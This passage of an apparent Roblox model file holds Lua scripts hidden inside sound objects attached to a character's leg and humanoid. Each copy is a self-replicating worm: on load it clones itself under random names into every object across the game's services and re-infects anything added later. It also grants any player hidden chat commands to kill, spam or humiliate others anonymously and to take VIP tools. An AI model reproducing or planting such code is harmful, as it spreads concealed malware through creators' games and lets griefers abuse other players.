if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX168">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>-3.5</X>
							<Y>8.69999981</Y>
							<Z>-14.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Leg</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX169">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">n4bs</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX170">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">pd87tmq</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Humanoid" referent="RBX171">
					<Properties>
						<float name="Health">100</float>
						<bool name="Jump">false</bool>
						<float name="MaxHealth">100</float>
						<string name="Name">Humanoid</string>
						<bool name="Sit">false</bool>
						<bool name="Strafe">false</bool>
						<Vector3 name="TargetPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="WalkDirection">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="WalkRotationalVelocity">0</float>
						<float name="WalkSpeed">16</float>
						<Ref name="WalkToPart">null</Ref>
						<Vector3 name="WalkToPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX172">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">4lqj9k</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX173">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">uh14os6a</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
